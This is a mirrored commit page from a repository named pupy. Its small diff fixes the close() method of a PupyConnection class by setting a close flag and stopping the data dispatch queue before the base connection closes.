mirror of https://github.com/n1nj4sec/pupy.git
Fix close()
This commit is contained in:
parent
fc1b800f81
commit
69453c1de4
|
@ -357,14 +357,17 @@ class PupyConnection(Connection):
|
|||
if __debug__:
|
||||
logger.debug('Connection - close - start')
|
||||
|
||||
self._close = True
|
||||
|
||||
# Stop dispatch queue first
|
||||
self._data_queue.put(None)
|
||||
|
||||
try:
|
||||
Connection.close(self, *args)
|
||||
finally:
|
||||
for lock in self._sync_events.itervalues():
|
||||
lock.set()
|
||||
|
||||
self._data_queue.put(None)
|
||||
|
||||
if __debug__:
|
||||
logger.debug('Connection - closed')
|
||||
|
||||
|
|
Loading…
Reference in New Issue